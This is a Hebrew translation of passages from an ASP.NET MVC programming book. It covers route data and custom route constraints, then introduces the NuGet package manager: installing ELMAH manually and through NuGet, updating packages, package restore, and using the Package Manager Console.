להתנהגות ההתנהגות דומה מאוד , Visual Studioשימוש בשרת האינטרנט המובנה של 
 .IIS 7 Integrated Modeסביבת ב

 צינור ניתוב הבקשות תיאור כללי של 

הבאים כאשר בקשה  הכלליים  הפעולהשלבימ מורכב) Routing pipeline(צינור הניתוב 
 :ASP.NETמטופלת על ידי 

 מנסה להתאים את הבקשה הנוכחית לניתובים רשומים UrlRoutingModuleהרכיב  .1
 . RouteTableבטבלת 

רכיב הניתוב שולף את , RouteTableמקרה של התאמה לאחד הניתובים בטבלה ב .2
IRouteHandlerמהניתוב שהותאם  . 

אשר בתורו מחזיר , IRouteHandler של הממשק GetHandlerרכיב הניתוב קורא לשיטה  .3
IHttpHandlerשמשמש לעיבוד הבקשה  . 

 למעשה מועברת הבקשה וכך, ProcessRequest- מבוצעת קריאה לHTTPבמטפל  .4
 . לטיפול

אשר מחזיר , MvcRouteHandler הוא מופע של ASP.NET MVC ,IRouteHandlerביישומי  .5
 אחראית ליצירת MvcHandlerהמחלקה . IHttpHandler שמיישם את MvcHandlerבתורו 

 . של אותו בקר) action method(המופע של הבקר אשר קורא לשיטת הפעולה 

RouteData 

מה זה . RouteData היא מחזירה מופע של GetRouteDataכאשר נעשית קריאה לשיטה , זכורכ
 .  מכיל מידע על הניתוב שהותאם לבקשהRouteDataהאובייקט ? RouteDataבדיוק 

כאשר מתקבלת בקשה עבור . {id}/{action}/{controller}דם יותר הצגנו ניתוב עם התבנית וקמ
/albums/list/123 ,הניתוב יוצר , אם יש התאמה. יסיון להתאים את הניתוב לבקשהנעשה נ

 בתבנית הניתוב URLעבור כל פרמטר , כלומר. מילון שמכיל נתונים שנשלפו מתוך הכתובת
 . נוסף למילון מפתח מתאים

, "controller: "המילון יכיל לפחות שלושה מפתחות, {id}/{action}/{controller}במקרה של 
"action" ,ו-"id ." במקרה של/albums/list/123 , הכתובת מעובדת כדי לשייך ערכים למפתחות

 . id = 123 - וcontroller = albums ,action = listבמקרה שלנו . שנוספו למילון

 הוא זה שמשמש MVC אשר נמצא בשימוש בסביבת RequestContext של RouteDataהמאפיין 
 . לאחסון ערכי הניתוב הסביבתיים
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  ניתוב מותאמים אישיתאילוצי
שבחלק הקודם של פרק זה הסברנו כיצד להשתמש בביטויים רגולריים " אילוצי ניתוב"בסעיף 

המחלקה , כאמור. כדי לשלוט באופן מדויק בתהליך ההתאמה של ניתובים) מקובלים, רגילים(
RouteValueDictionaryור בעת העברת מחרוזת בת. אובייקט- הינה מילון של צמדי מחרוזת

העברת מחרוזות , מצד שני.  מפרשת את המחרוזת בתור ביטוי רגולריRouteהמחלקה , אילוץ
 . של ביטויים רגולריים אינה הדרך היחידה להגדרת אילוצי ניתוב

בקטע הקוד שלהלן .  יחידהMatch עם שיטת IRouteConstraintמערכת הניתוב מספקת ממשק 
 :מוצגת הגדרת הממשק

public interface IRouteConstraint 

{ 

 bool Match(HttpContextBase httpContext, Route route, string parameterName, 

  RouteValueDictionary values, RouteDirection routeDirection); 

} 

, IRouteConstraintוערך ניתוב כלשהו מיישם את , כאשר מערכת הניתוב בוחנת אילוצי ניתוב
 על אילוץ הניתוב הזה כדי לקבוע IRouteConstraint.Matchשיטה יל את המפעהניתוב מנוע 

 . אם האילוץ אכן מתקיים בבקשה המטופלת

. URL נכנסות וגם בעת הפקת כתובות URLאילוצי ניתוב מופעלים גם בעת טיפול בבקשות 
של  routeDirection קרובות כדי לבדוק את הפרמטר לעתיםאילוץ ניתוב מותאם אישית דרוש 

 .ולהפעיל את הקוד המתאים, לדעת באיזו מצב הוא הופעל, Matchהשיטה 

המחלקה : מערכת הניתוב עצמה מספקת יישום אחד בלבד של הממשק הזה
HttpMethodConstraint . האילוץ הזה מאפשר להגביל את התאמת הניתוב אך ורק לבקשות

 .מסוימות) verbs, או הוראות (HTTPשמבוצעות באמצעות שיטות 

 או POST ,PUTאך לא לבקשות ,  בלבדGETאם רוצים שהניתוב יותאם לבקשות , לדוגמה
DELETE ,תוכלו להגדיר את הניתוב באופן הבא : 

routes.MapRoute("name", "{controller}", null 

 , new {httpMethod = new HttpMethodConstraint("GET")} ); 

 

ניתן , כלומר.  מסויםURLים להתייחס לפרמטר אילוצים מותאמים אישית לא חייב הערה
או על , )כמוצג בדוגמה(כמו למשל כותרת הבקשה , לספק אילוצים שמבוססים על מידע אחר

 . URLכמה פרמטרי 
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 סיכום
אך קשה , קל מאוד ללמוד אותה: מבחינות מסוימות מערכת הניתוב דומה למשחק הסיני גו

. אבל זה בטח יקח לכם לפחות כמה ימים,  קשהאולי לא כל כך, טוב. מאוד להתמקצע בה
השימוש בניתוב יכול להוביל , אך כפי שראיתם במהלך הפרק, העקרונות הבסיסיים פשוטים

 .  שלכםASP.NET MVCלמספר תרחישים מאוד מורכבים ביישומי 
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 10פרק 

NuGet 

Phil Haack 

 

 עיקרי הפרק

 מבוא ל-NuGet  

  התקנתNuGet  

  התקנת חבילות תוכנה)packages( 

 יצירת חבילות 

 פרסום חבילות 

 

NuGetחבילות לפלטפורמת - הינה מערכת ניהול.NET ולסביבת Visual Studio שנועדה להקל 
) dependencies(התלויות כולל , העדכון וההסרה של ספריות חיצוניות, תהליכי ההוספהעל 

 חבילות משלכם  תוכלו בקלות רבה גם ליצורNuGetבאמצעות . מתוך היישומים שלכם, שלהן
בפרק זה נעסוק בעקרונות הבסיסיים שעליכם להכיר כדי . ולשתף אותן עם קהילת המפתחים

 ולאחר מכן נבחן מספר יכולות מתקדמות שמציע,  במהלך פיתוח היישומיםNuGetלעבוד עם 
NuGet ,מנהל החבילות . 

  NuGet-מבוא ל
 אינה מסוגלת לספק לכל מפתח תוכנה את כל קטעי Microsoftחברת , עם כל הרצון הטוב

וכל אחד מהם , NET.מיליוני מפתחים עובדים עם פלטפורמת . הקוד שהוא עשוי להזדקק להם
 . צריך לפתור בעיות שונות בעלות מאפיינים יחודיים

א זמנם ומרצם בכתיבת פתרונות  שמפתחים רבים אינם משקיעים את מלוהחדשות הטובות הן
באמצעות , ולבעיות של עמיתיהם, אלא מספקים מענה לבעיותיהם, הוק לבעיותיהם-אד

 . ספריות שימושיות שהם כותבים בעצמם ומפיצים באינטרנט
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 שלושת האתגרים העיקריים שניצבים בפני כל מי שמתכוון לצלול לעולם העשיר של
ולאחר שמוצאים ?  איך מוצאים את הספרייה המתאימה.תחזוקהוהתקנה , גילויהספריות הם 

איך עוקבים אחר עדכוני הספריות , ולאחר התקנתה? איך מיישמים אותה בפרויקט, אותה
 ? וכיצד מיישמים אותם

 ELMAHבסעיף הבא תמצאו דוגמה קצרה שמציגה את השלבים הנדרשים להתקנת הספרייה 
 Error Logging ראשי התיבות של הינו ELMAH  השם.NuGetהחבילות וש במנהל ללא שימ

Module and Handler , והכוונה לספרייה שמשמשת לתיעוד ולהצגה של נתוני שגיאות לא
השלבים שמוצגים להלן , NuGetבתור חבר בצוות הפיתוח של . מטופלות ביישומי אינטרנט

אשר נתאר , NuGet.orgהאתר  לבניית ELMAHרייה מוכרים לנו היטב מכיוון שהשתמשנו בספ
 . 16בהרחבה בפרק 

 : עלינו לבצע פעולות שונות כדי להשתמש בספרייה

חודי של הספרייה מאפשר לנו לאתר אותה באמצעות יהשם הי. ELMAHלמצוא את  .1
 . חיפוש אינטרנטי פשוט

ני אוכל לומר שבחירת ומניסיו,  שוניםzipישנם קבצי .  הנכונהzipלהוריד את חבילת  .2
 . החבילה הנכונה אינה עניין של מה בכך

קבצים שאתם מורידים מהאינטרנט מסומנים בנתוני . את החבילה) unblock" (לשחרר" .3
 לעתיםהסימון הזה מכונה . הגיעו ממקור לא מאובטחם מטא שמציינים כי ייתכן שה

אחרת ,  לפני פתיחתוzipחשוב לשחרר את הקובץ ). MOTW) Mark Of The Webסימון 
כל הקבצים שהוא מכיל יסומנו ברצף סיביות שעלולות במקרים מסוימים לשבש את 

אתם יכולים , כיצד הסימון הזה נקבעאם מעניין אתכם . הפעולה התקינה של הקוד
, Windows של )Attachment Manager(מנהל הקבצים המצורפים על לקרוא 

. מסוכניםני קבצים מצורפים שעלולים להיות שתפקידו להגן על מערכת ההפעלה מפ
 . http://support.microsoft.com/kb/883260גשו לכתובת 

יש להניח שאתם . מול הערך שמספקת הסביבה המארחת) hash(אמתו את ערך הגיבוב  .4
תמיד משווים את ערך הגיבוב של הקובץ לערך הרשום בדף ההורדה כדי לוודא 

 . שהקובץ לא שוּנה

 libבדרך כלל נבחר בתיקיית .  המכווץ אל תיקייה רצויהzipצו את הקבצים מקובץ חל .5
רוב המפתחים מעדיפים לא להוסיף ). assembly (קודה אל רכיביהפניה כדי לאפשר 

 bin מפני שאינם רוצים להוסיף את תיקיית binתוצרי קוד באופן ישיר אל תיקיית 
 .למערכת ניהול הגרסאות

 עליכם להוסיף את ההפניה לתוצר הקוד בפרויקט . לרכיבי הקודהוסיפו הפניה  .6
Visual Studio . 

בדרך .  מחייב מספר הגדרות תצורהELMAH השימוש בספרייה .web.configעדכנו את  .7
 . כלל תצטרכו לעיין בתיעוד של הספרייה כדי למצוא את ההגדרות הנכונות
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אם יש לספרייה ! לה אפילו תלויות שאין ELMAHכל העבודה הזו דרושה עבור הספרייה 
בכל פעם שתעדכנו את הספרייה תצטרכו למצוא את הגרסה הנכונה של כל תלות , תלויות

ותצטרכו לחזור עליו , מדובר בתהליך מייגע. ולחזור על כל השלבים האלה עבור כל אחת מהן
בים צוותי פיתוח ר, בדיוק בגלל זה. בכל פעם שתרצו לפרסם גרסה חדשה של היישום

 . ממשיכים להשתמש בגרסאות ישנות של התלויות שלהם במשך שנים

כל העבודה המפרכת והסיזיפית .  משחרר אתכם מהתסבוכת הזוNuGetמנהל החבילות 
.  באופן אוטומטיNuGetשנלווית להתקנה ועדכון של חבילות והתלויות שלהן מבוצעת על ידי 

ת קוד פתוח חיצוניות בהירארכיית קוד בכך נפתרים רוב האתגרים שכרוכים בשילוב ספריו
 . כמובן שמפתחים עדיין נדרשים לדעת להשתמש בספרייה בצורה נכונה. המקור של הפרויקט

 NuGetהתקנת 
- מתגבר על הקשיים שתיארנו באמצעות הדגמה של שימוש בNuGetבסעיף זה נראה כיצד 

NuGet להתקנת הספרייה ELMAH .ותית לעומת ההתקנה מספר השלבים הנדרשים קטן משמע
  .NuGetעלינו להתקין את : את הצעד הראשון צריך לבצע פעם אחת בלבד. הידנית

 כבר מותקן NuGetהרי , Visual Studio 2012 או של ASP.NET MVC 4אם יש כבר התקנה של 
, NuGet וטרם התקנתם את Visual Studio 2010אם אתם משתמשים בגרסה . במחשב שלכם

, Visual Studio Extension Managerת מנהל החבילות בקלות באמצעות תוכלו להתקין א
 : כמוסבר להלן

פעולה זו תגרום לפתיחת . 10-1כמוצג בתרשים , Tools  Extension Managerבחרו  .1
  .Visual Studioאשר משמשת להתקנת הרחבות של , Extension Managerשיח -תיבת הדו

 
 10-1תרשים 
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.  מוצגת רשימה של חבילות תוכנה שמותקנות על פי ברירת מחדלשיח-בתיבת הדו .2
 . 10-2כמוצג בתרשים , Online Galleryבחרו בכרטיסייה , במידת הצורך

 
 10-2תרשים 

עובדה זו .  הייתה ההרחבה הפופולרית ביותר בגלריהNuGetחבילת , בזמן כתיבת הספר .3
אם אינכם מוצאים . שיח-הדוממקמת אותה בראש רשימת החבילות המקוונות בתיבת 

לאחר . עליון של החלון- בשורת החיפוש שבחלקו הימניNuGetהקלידו , את החבילה
 .  ופעלו על פי הוראות ההתקנהDownloadלחצו על הלחצן , איתור החבילה

 כדי לבדוק אם קיימות גרסאות Updatesעברו לכרטיסייה , NuGetאם כבר התקנתם את 
 מתכנן לשחרר עדכוני גרסה קטנים מדי חודש לערך ולכן סביר NuGetצוות . עדכניות יותר

 . שתמצאו בהם מספר עדכונים שימושיים

 הוספת ספרייה כחבילה
 . ELMAHכדוגמת , תוכלו להוסיף לפרויקט בקלות רבה ספריות חדשות, NuGetלאחר התקנת 

או דרך , Manage NuGet Packagesשיח -בעזרת תיבת הדו: NuGetיש שתי דרכים לעבוד עם 
ואחר כך נלמד על , שיח-נתחיל בעבודה עם תיבת הדו. Package Manager Consoleמסוף 
 הפריטשיח מתוך הפרויקט באמצעות לחיצה ימנית על -ניתן לפתוח את תיבת הדו. המסוף

References בחלונית Solution Explorer ובחירת Manage NuGet Packages , כמוצג בתרשים
 .  הקיצור הזה נגיש גם באמצעות לחיצה ימנית על שם הפרויקטתפריט. 10-3
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 10-3תרשים    

, Extension Managerשיח - מאוד דומה לתיבת הדוManage NuGet Packagesשיח -תיבת הדו
 Extensionשיח -תיבת הדו. למרות שההבחנה בין השתיים מאוד ברורה, והדבר מבלבל לעתים

Manager של Visual Studioשת להתקנת הרחבות שמוסיפות ומעצימות את  משמVisual 

Studio .מנהל החבילות . ההרחבות הללו אינן נפרסות כחלק מהיישום שלכםNuGet , לעומת
, ברוב המקרים. יכללו בפרויקט שלכם וירחיבו אותוימשמש להתקנה של חבילות ש, זאת

תיבת , Extension Managerבשונה מהתיבה . תכולת החבילות הללו תיפרס כחלק מהיישום
 חוזרת באופן אוטומטי למקום שהוצג בפעם האחרונה Manage NuGet Packagesשיח -הדו

 בחלונית השמאלית כדי לראות את Onlineאל תשכחו לבחור בכרטיסייה . שהייתה פתוחה
 ). 10-4תרשים  (NuGetהחבילות הזמינות בחלונית העדכונים של 

 
 10-4תרשים 
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 מציאת חבילות

הנכם מוזמנים להשתמש בקישורי העמודים שבתחתית , ם אוהבים להקשות על עצמכםאם את
אך הדרך המהירה ביותר , החלון כדי לדפדף ברשימת החבילות עד לאיתור החבילה המבוקשת

 . עליונה של החלון-היא להשתמש בשדה החיפוש שבפינה הימנית

.  אודותיה בחלונית שמימיןלחצו עליה כדי להציג את המידע הזמין, לאחר איתור החבילה
חלונית זו מספקת את המידע . SignalR מוצגת חלונית המידע עבור החבילה 10-5בתרשים 

 : שלהלן

 10-5תרשים     

 יםיוצר) Created By( :בזמן הכתיבה. רשימת המחברים של החבילה המקורית ,
תב את לא תמיד מי שכ. ולא הבעלים שלה, החלונית שימשה להצגת המחברים בלבד

 . החבילה מחזיק בזכויות עליה

  זיהוי)Id( :עליכם לספק ערך זה דרך מסוף, בעת התקנת חבילה. זיהוי החבילה 
Package Manager Console . 

  גרסה)Version( :לרוב קיימת התאמה בין מספר הגרסה של . מספר הגרסה של החבילה
 . מידאך לא ת, החבילה לבין מספר הגרסה של הספרייה שהיא מכילה

  הורדות)Downloads(:מספר ההורדות של החבילה  . 
  הצגת תנאי שימוש)View License Terms( : לחצו על הקישור כדי להציג את תנאי

 . השימוש בחבילה
  מידע על הפרויקט)Project Information( : קישור זה יעביר אתכם לדף הפרויקט של

 . החבילה

  דיווח)Report Abuse( :זה כדי לדווח על חבילות מקולקלות או השתמשו בקישור 
 . מזיקות

  תיאור)Description( :מספר הערות תמציתיות של המחברים בנוגע לחבילה . 

  תלויות)Dependencies( :רשימה של חבילות אחרות שחבילה זו מסתמכת עליהן . 
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ילת  חב: תלויה בשתי חבילות נוספותSignalRהחבילה , תצלום המסךכפי שניתן להיווכח מ
המידע שמוצג מבוסס על קובץ . SignalR.Jsהחבילה  וSignalR.Hosting.AspNet התוכנה
NuSpecאשר נסקור בהרחבה בהמשך הפרק,  של החבילה . 

 התקנת חבילה 

 :יש לבצע את השלבים הבאים, כדי להתקין חבילה

 . בתיבת החיפוש) או את שם החבילה שברצונכם להתקין (ELMAHהקלידו  .1

מנהל החבילות יוריד את .  כדי להתקינהInstallלחצו על לחצן ,  איתור החבילהלאחר .2
ולאחר מכן יתקין את , )התלויות שלה(החבילה ואת כל החבילות שהיא משתמשת בהן 

 . החבילה בפרויקט שלכם

או בתלויות /במקרים מסוימים תתבקשו לאשר את תנאי השימוש בחבילה העיקרית ו הערה
 מוצג החלון שיופיע כאשר תנסו 10-6בתרשים . שות אישור תנאי שימוששנלוות אליה ודור

הסכמה לתנאי השימוש היא תנאי . EntityFramework.SqlServerCompactלהתקין את החבילה 
 . שמוגדר על ידי יוצרי החבילה

 10-6תרשים     

ויקט  מבצע מספר שינויים בפרNuGetמנהל החבילות , ELMAHכחלק מתהליך ההתקנה של 
מתווסף לפרויקט הקובץ , בפעם הראשונה שחבילה כלשהי מותקנת בפרויקט. שלכם

packages.config , בפרויקטים של . 10-7כמוצג בתרשיםASP.NET MVC 4 , קובץ זה כבר קיים
קובץ זה מכיל רשימה של . NuGetמכיוון שתבנית הפרויקט עצמה כוללת מספר חבילות 

 . חבילות שמותקנות בפרויקט
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 10-7תרשים     

 1.2.2הטקסט שלהן מציין שבפרויקט מותקנת גרסה , לדוגמה. הפורמט של הקובץ פשוט למדי
 : ELMAHשל החבילה 

<?xml version="1.0" encoding="utf-8"?> 

<packages> 

 <package id="elmah" version="1.2.2" /> 

</packages> 

 . 10-8ג בתרשים כמוצ, Elmah.dllלקובץ  הפניהנוספה שימו לב ש

עלינו לבחון את הקבצים שהוספו לסביבת , כדי לענות על השאלה? מהיכן מגיעה ההפניה הזו
כאשר חבילה מותקנת . שלכם כחלק מתהליך התקנת החבילה solutionהפיתוח לקובץ 

 . 10-9כמוצג בתרשים , packagesנוצרת תיקייה בשם , בפרויקט לראשונה

 10-8תרשים    

 10-9תרשים    

 מוצגת 10-10בתרשים .  מכילה תיקיית משנה עבור כל חבילה מותקנתpackagesהתיקייה 
 .  עם מספר חבילות מותקנותpackagesתיקיית 

מכיוון שהתיקייה הזו משמשת לאחסון כל , שימו לב ששמות התיקיות כוללים מספר גרסה
ים ששייכים לאותו בהחלט ייתכן שבשני פרויקט.  מסויםפתרוןהחבילות שהותקנו עבור 
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 מוצג גם תוכן תיקיית 10-10בתרשים . פתרון מותקנות שתי גרסאות שונות של אותה חבילה
 . nupkgאשר כולל את תכולת החבילה לצד החבילה המקורית בקובץ , ELMAHהחבילה 

    

 10-10תרשים 

פיתוח כדי וזהו המיקום שאליו פונה סביבת ה, ELMAH מכילה את תוצר הקוד של libהתיקייה 
 במערכת לניהול packagesבדיוק בגלל זה כדאי לכם לאחסן את התיקייה . להגיע לרכיבי הקוד

הדבר יאפשר לכל מי שעובד על אותו קוד לקבל את הגרסה . גרסאות שאתם משתמשים בה
יש מפתחים שאינם ששים לעשות . ולהיות באותה רמת עדכון, העדכנית ביותר מניהול הגרסאות

שבהמשך הפרק נציג רצף עבודה אלטרנטיבי שנתמך על " שחזור חבילות"בסעיף . וחבל, זאת
שחזור חבילות היא גישה  . אך אינו מחייב שילוב החבילות במערכת ניהול הגרסאותNuGetידי 

 . Mercurial או Gitכגון , שמיושמת בעיקר עם מערכות ניהול גרסאות מבוזרות

מבנה התיקיות . ם ישירות אל שורש הפרויקט מכילה קבצים שמועתקיcontentהתיקייה 
תיקייה זו עשויה גם להכיל קוד מקור .  נשמר כאשר הוא מועתק לפרויקטcontentבתיקייה 

, ELMAHבמקרה של . נושאים שיוסברו בהרחבה בהמשך,  של קבצי תצורהטרנספורמציותו
 הגדרות web.configמוסיף לקובץ אשר , web.config.transformהתיקייה מכילה קובץ 

 : כמוצג בקוד שלהלן, ELMAHמסוימות שנחוצות לספרייה 

<?xml version="1.0" encoding="utf-8"?> 

<configuration> 

 <configSections> 

  <sectionGroup name="elmah"> 

   <section name="security" requirePermission="false" 

     type="Elmah.SecuritySectionHandler, Elmah" /> 

   <section name="errorLog" requirePermission="false" 

     type="Elmah.ErrorLogSectionHandler, Elmah" /> 

   <section name="errorMail" requirePermission="false" 

     type="Elmah.ErrorMailSectionHandler, Elmah" /> 

   <section name="errorFilter" requirePermission="false" 

     type="Elmah.ErrorFilterSectionHandler, Elmah" /> 

  </sectionGroup> 

 </configSections> 

 … 

</configuration> 

נדון בכך . PowerShellאשר עשויה להכיל תסריטי , toolsחלק מהחבילות כוללות את התיקייה 
 . בהרחבה בהמשך
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אתם יכולים להתחיל להשתמש בספרייה בפרויקט , לאחר שכל הגדרות התצורה במקומן, כעת
עם .  וגישה תכנותית לספרייהIntelliSenseתוך ניצול המערך המלא של אפשרויות , שלכם

ELMAHכדי לראות את .  אין צורך בכתיבת קוד נוסף כדי ליישם את יכולות הספרייהELMAH 
 ).10-11ראו תרשים  (elmah.axd/הריצו את היישום ונווטו לכתובת , בפעולה

 

 10-11תרשים 

כל שעליכם לעשות כדי להוסיף את , NuGetבסעיף זה ראיתם שלאחר התקנת  הערה
 Manage NuGet Packagesשיח -א אותה בתיבת הדו לפרויקט הוא למצוELMAHהספרייה 

 מבצע עבורכם באופן אוטומטי את כל NuGetמנהל החבילות . Installוללחוץ על לחצן 
וכך מאפשר להתחיל להשתמש , הצעדים המשעממים הנחוצים להתקנת ספריות בפרויקט

 . בספרייה באופן מיידי

 עדכון חבילה

נניח שבפרויקט שלכם מותקנות כבר עשר . להציע יש עוד הרבה NuGetלמנהל החבילות 
בשלב מסוים תרצו לעדכן את כל החבילות הללו לגרסה החדישה ביותר . חבילות תוכנה

עדכון החבילות היה תהליך ממושך שכלל חיפוש וביקור בדפי הבית של , NuGetלפני . שלהן
 . כל אחת מהחבילות והשוואת הגרסה העדכנית ביותר לגרסה שברשותכם

 ואחר כך לבחור בחלונית Updatesכל שעליכם לעשות הוא לבחור בכרטיסייה , NuGetעם 
ואז תוצג בפניכם רשימה של כל החבילות בפרויקט , השמאלית של חלון מנהל החבילות

 הסמוך לחבילה Updateלחצו על לחצן . הנוכחי שניתן לעדכן לגרסאות מתקדמות יותר
עדכון החבילה כולל גם עדכון של כל . רסה האחרונהשברצונכם לעדכן כדי לשדרג אותה לג

 . והדבר מבטיח שרק גרסאות תואמות של התלויות יותקנו בפרויקט, התלויות של החבילה
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 חבילות אחרונות

אך ,  החבילות האחרונות שהותקנו באופן ישיר25 מוצגות Recent Packagesכרטיסייה ב
הרשימה הינה .  אינן נכללות ברשימה הזוחבילות שהותקנו בתור תלויות של חבילות אחרות

או בעת התקנת חבילות למספר ,  קרובותלעתיםאמצעי נוח לאיתור חבילות שמשמשות אתכם 
 . פרויקטים

 בחלון ההגדרות Generalבחרו מתוך הכרטיסייה , כדי לנקות את רשימת החבילות האחרונות
 . Clear Recent Packages ולחצו על לחצן ,החבילותשל מנהל 

 שחזור חבילות

 מבוסס על ההנחה שהמפתח מעביר NuGetתהליך העבודה הסטנדרטי של , כפי שכבר נאמר
. )source controlאו version control (ניהול הגרסאות  אל מערכת Packages התיקייגם את ה

אחד היתרונות של הגישה הזו הוא בכך שאחזור הפתרון ממערכת ניהול הגרסאות מבטיח 
אין צורך לאחזר חבילות ממיקום . לאה של כל האמצעים הדרושים לבניית הפתרוןזמינות מ

 . אחר

 Visual אינה חלק מהפתרון של Packagesהתיקייה . לגישה הזו יש גם כמה חסרונות, עם זאת

Studio ,מפתחים שמשתמשים בניהול גרסאות באמצעות אינטגרציה עם , ולכןVisual Studio 
אם אתם משתמשים במערכת . ספת כדי להבטיח שהתיקייה הזו תישמרצריכים לבצע פעולה נו

TFS) Team Foundation System (לניהול גרסאות ,NuGet ינהל גם את התיקייה Packages 
 . באופן אוטומטי

 DVCS - Distributed Version Control(מפתחים שמשתמשים במערכת מבוזרת לניהול גרסאות 

System( , כמו למשלGit או Mercurial ,מערכת , בדרך כלל. נאלצים להתמודד עם חיסרון נוסף
DVCSאם פרויקט מכיל מספר רב של חבילות שמשתנות .  אינה יעילה עבור קבצים בינריים
ייתכן שעדיף , במקרה כזה.  יכול להגיע לנפח משמעותיDVCSהאחסון של ,  תכופותלעתים

 . ת לניהול הגרסאות למערכPackagesיהיה להימנע מהוספה של התיקייה 

 שנועדה לספק )package restore(שחזור חבילות   של נוספה אפשרותNuGet 1.6 הלגרס
וגם לתמוך ברצף עבודה שאינו מחייב את המפתחים להפקיד חבילות , מענה לחסרונות הללו

 . לניהול הגרסאות

 ובחרו Visual Studioלחצו לחיצה ימנית על הפתרון בחלון , כדי לאפשר שחזור חבילות
פעולה . 10-12כמוצג בתרשים ,  מהתפריט שייפתחEnable NuGet Package Restoreבאפשרות 

 ). 10-13תרשים (שיח שכוללת מידע על השינויים שיבוצעו בפתרון -זו תגרום לפתיחת תיבת דו
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 10-12תרשים    

 10-13תרשים    

 אל שורש nuget.יקייה בשם אישור הפעולה יגרום להוספת ת, שיח-כפי שמוצג בתיבת הדו
מכיוון , שהתיקייה הזו נכללת בניהול הגרסאות שלכםחייבים לוודא אתם . הפתרון שלכם

 נדירות לעתיםלמזלנו צריך רק . שהיא מכילה את מטלות הבנייה שמאפשרות שחזור חבילות
 . זאתולכן סביר להניח שזו הפעם היחידה שיהיה צורך לעשות , לשנות את תוכן התיקייה הזו

 : התיקייה מכילה שלושה או ארבעה קבצים

 NuGet.config : מכיל הגדרות תצורה שלNuGet . נכון לעכשיו יש בקובץ הגדרה אחת
 כאשר שחזור חבילות trueאשר ערכה , disableSourceControlIntegration, בלבד

 .  אינה נכללת יותר בניהול הגרסאותPackagesמכיוון שהתיקייה , מופעל

 NuGet.exe:הפקודה - גרסת שורת)command-line( של NuGet אשר משחזרת בפועל 
דרושה הסכמת המשתמש לשחזור חבילות , NuGet 2.0החל מגרסת . את החבילות

 בשם) environment variable(משתנה סביבתי על ידי  או NuGetהגדרת באמצעות 
EnableNuGetPackageRestore . בבלוג של לפרטים נוספים קראו את הפוסטNuGet 

 . http://blog.nuget.org/20120518/package-restore-and-consent.htmlבכתובות 

 NuGet.targets : מטלותMSBuild אל שמועברות NuGet.exe ומבטיחות שהחבילות 
 . החסרות תשוחזרנה בזמן ההידור
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 Packages.config :ולא , אם פתרון מכיל חבילות שמותקנות רק בפתרון עצמו
בקובץ , לדוגמה. Packages.configחבילות מפורטות בקובץ ה, אינדיבידואליפרויקט ב

מוסבר  (Package Manager Console מסוףפקודות לעשויה להופיע חבילה שמוסיפה 
 .  אך אינה כוללת תוצרי קוד)בהמשך

 אלא, אין צורך להוסיף את תיקיית החבילות לניהול הגרסאות, כאשר שחזור חבילות מופעל
כל , כאשר מפתח חדש מקבל את קוד המקור מהמערכת לניהול הגרסאות. רק את קוד המקור

 . שעליו לעשות הוא לבנות את הפתרון כדי לשחזר את כל קבצי החבילות

ואז מוריד , Packages.config סוקר את הרשומה של כל חבילה בכל קובץ NuGetבשלב זה 
הנחת המוצא היא שהחבילה כבר . של החבילה" התקנה"שימו לב שלא מבוצעת . ופותח אותה

הדבר היחיד שחסר הוא הקבצים . הותקנה וכל השינויים שההתקנה ביצעה בפרויקט כבר נוספו
 . כמו למשל תוצרי קוד וכלים, בתיקיית החבילות

 Package Manager Console מסוףשימוש ב
ראשונה וכעת נתבונן עד עתה עסקנו בדרך ה. NuGetכבר נאמר שיש שתי דרכים לעבוד עם 

 PowerShell-זהו מסוף מבוסס. Package Manager Console על ידי מסוף -בדרך השנייה 
, בנוסף. ומספק יכולות טובות לאיתור ולהתקנה של חבילות, Visual Studioשפועל בסביבת 

כדי לפתוח את המסוף . שיח-הוא תומך במספר תרחישים שאינם נתמכים על ידי תיבת הדו
 : יש לבצע את הפעולות הבאות, תמש בוולהש

 Tools  Library Package Manager  Packageפתחו את המסוף על ידי בחירת  .1

Manager Console , הפעולה תגרום לפתיחת החלון . 10-14כמוצג בתרשיםPackage 

Manager Console ,שיח-אשר מאפשר לבצע את כל הפעולות שזמינות בתיבת הדו . 

 
 10-14תרשים 
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אשר מציגה , Get-Packageפעולות מבוצעות באמצעות פקודות כגון : ביצוע פעולה .2
כמוצג , פקודה זו כוללת מספר מסנני חיפוש. רשימה של כל החבילות שזמינות להורדה

 . 10-15בתרשים 

 
 10-15תרשים 

 אופן  ניתן לראות את10-16בתרשים : )tab expansions(ה מָלָשְשימוש בחלוניות הַ .3
, כפי שמשתמע משמה. Get-Packageעם הפקודה  הַשְלמָָהשל חלונית הה הפעול

חלונית ההשלמה מציגה רשימה של .  משמשת להתקנת חבילותGet-Packageהפקודה 
 . חבילות זמינות ששמותיהן מתחילים בתווים שהקלדתם

 
 10-16תרשים 

הן . PowerShell של פקודות  היא אחת התכונות השימושיותהַשְלמָָההתמיכה בחלוניות 
 כדי להציג חלונית עם רשימת Tabמאפשרות להקליד מספר אותיות ואז להקיש 

 . אפשרויות זמינות
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 מאפשרת לכם גם לחבר פקודות על ידי תיעול PowerShellסביבת : חיבור פקודות .4
אם אתם רוצים להתקין חבילה בכל , לדוגמה. הפלט של פקודה לפקודה אחרת

 : תוכלו להריץ את הפקודה הבאה, ים בפתרון שלכםהפרויקט
Get-Project -All | Install-Package log4net 
, הפקודה הראשונה מאחזרת כל פרויקט בפתרון ומתעלת את הפלט אל הפקודה השנייה

 .  בכל אחד מהפרויקטיםlog4netאשר מתקינה את החבילה 

טובות ביותר של ממשק אחת התכונות ה: הוספה דינמית של פקודות חדשות .5
PowerShellלדוגמה.  היא ההוספה של פקודות חדשות למסוף על ידי חבילות מסוימות ,

המסוף יתמוך בפקודות חדשות שמשמשות , MvcScaffoldingלאחר התקנת החבילה 
 .  עבור הבקר והתצוגותscaffoldingלהנחת 

 Scaffoldימוש בפקודת  ולאחר מכן שMvcScaffolding מוצגת התקנה של 10-17בתרשים 
 . החדשה אשר נוספה על ידי החבילה

 

 10-17תרשים 

, החבילות" כל" פועלות מול מאגר Package Manager Consoleפקודות , על פי ברירת מחדל
כדי לשנות את מקור החבילות . שהינו למעשה מצבור של משאבי החבילות שתצורתן הוגדרה

 שבפינה השמאלית Package sourceרשימה הנפתחת בחרו מקור חבילות חלופי מה, הנוכחי
 כדי להגדיר מקור חבילות אחר בעת Source-או לחילופין השתמשו בדגל , עליונה של המסוף

כדי לערוך את . מקור החבילות החדש ישאר בתוקפו למשך הפעולה של הפקודה. הרצת פקודה
לגל שיניים מימין לתפריט לחצו על הלחצן שנראה כמו ג, קבוצת משאבי החבילות המוגדרים

 . Configure Package Sourcesשיח -כדי לפתוח את תיבת הדו, Package sourceהנפתח 

